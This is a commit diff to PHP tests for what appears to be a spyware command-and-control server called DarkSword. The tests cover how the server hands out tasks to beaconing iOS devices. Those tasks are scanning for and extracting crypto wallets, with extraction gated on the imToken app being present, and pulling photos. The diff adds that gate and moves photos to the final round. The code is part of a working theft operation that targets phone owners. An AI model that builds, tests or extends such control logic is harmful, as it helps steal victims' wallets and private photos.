fix: keychain view

This commit is contained in:
hashbro
2026-09-21 02:45:04 +08:00
parent 92d9dde5cb
commit b663f15478
4 changed files with 164 additions and 28 deletions
+103 -14
View File
@@ -786,8 +786,8 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
// seed() pushes wallet_scan → wallet_extract (FIFO); photos is a
// LAST_ROUND_TYPE so it only lands on the final (3rd) round.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
@@ -811,6 +811,18 @@ class DarkSwordC2ApiTest extends TestCase
$id1 = $r1->json('command_id');
$this->assertNotEmpty($id1);
// wallet_extract is gated on the applist containing imToken. Seed it
// now (the device was created on the first beacon above).
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
// Same IP within 5s -> noop (throttled).
$this->postJson('/beacon', [
'uuid' => $uuid,
@@ -833,23 +845,25 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> photos (third in FIFO).
// Round 1 consumed (no photos this round); next beacon replenishes
// round 2 -> wallet_scan again.
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Round 1 consumed; remaining pending is empty until the next beacon
// replenishes round 2.
// Round 1 consumed (wallet_scan + wallet_extract); the 3rd beacon
// replenished round 2 and dispatched wallet_scan, leaving wallet_extract
// pending in the queue with 2 rounds remaining.
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(3, $queue->roundsRemaining($device));
$this->assertSame(1, $queue->queueLength($device));
$this->assertSame(2, $queue->roundsRemaining($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
@@ -883,6 +897,18 @@ class DarkSwordC2ApiTest extends TestCase
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// wallet_extract is gated on the applist containing imToken. Seed it
// now (the device was created on the first beacon above).
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
// Same IP within 5s -> noop (throttled, no command handed out).
$this->postJson('/beacon', [
'uuid' => $uuid,
@@ -916,12 +942,13 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
// After a result + gap, the next default task is photos (not empty yet).
// After a result + gap, round 1 is consumed and the next beacon
// replenishes round 2 -> wallet_scan (photos only lands on round 3).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photos']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
}
#[Test]
@@ -972,10 +999,14 @@ class DarkSwordC2ApiTest extends TestCase
public function beacon_replays_default_queue_three_rounds(): void
{
$uuid = self::DS_LHU;
$expected = [];
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
}
// photos is a LAST_ROUND_TYPE: only dispatched on the final (3rd) round.
// wallet_extract is gated on the applist containing imToken (seeded
// after the first beacon creates the device).
$expected = [
'wallet_scan', 'wallet_extract',
'wallet_scan', 'wallet_extract',
'wallet_scan', 'wallet_extract', 'photos',
];
$dispatched = [];
foreach ($expected as $i => $type) {
@@ -990,6 +1021,20 @@ class DarkSwordC2ApiTest extends TestCase
'ios' => '18.6',
])->assertOk()->assertJson(['type' => $type]);
$dispatched[] = $type;
// After the first beacon creates the device, seed imToken so the
// wallet_extract gate passes for the rest of the rounds.
if ($i === 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
DeviceApp::query()->create([
'device_id' => $device->id,
'bundle_id' => 'im.token.app',
'name' => 'imToken',
'version' => '2.21.0',
'is_wallet' => true,
]);
}
}
$device = Device::query()->where('device_id', $uuid)->first();
@@ -1008,6 +1053,50 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_skips_wallet_extract_when_imtoken_absent(): void
{
$uuid = self::DS_LHU;
$forgetThrottle = function () use ($uuid): void {
$device = Device::query()->where('device_id', $uuid)->first();
if ($device) {
Redis::del('ds:qt:'.$device->id);
}
};
// Round 1: wallet_scan, then wallet_extract is skipped (no imToken),
// which burns round 1 and replenishes round 2 -> wallet_scan.
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle', 'ios' => '18.6'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
// Still no imToken: round 2's wallet_extract is skipped too,
// replenishing round 3 (last) -> wallet_scan.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'wallet_scan']);
// Round 3's wallet_extract is skipped, then photos (last round) fires.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'photos']);
// No rounds left -> noop.
$forgetThrottle();
$this->postJson('/beacon', ['uuid' => $uuid, 'status' => 'idle'])
->assertOk()->assertJson(['type' => 'noop']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
// wallet_extract was never dispatched; only wallet_scan + photos ran.
$this->assertSame(0, DeviceEvent::query()->where('event_name', 'wallet_extract')->count());
}
#[Test]
public function result_stores_files_and_skips_video(): void
{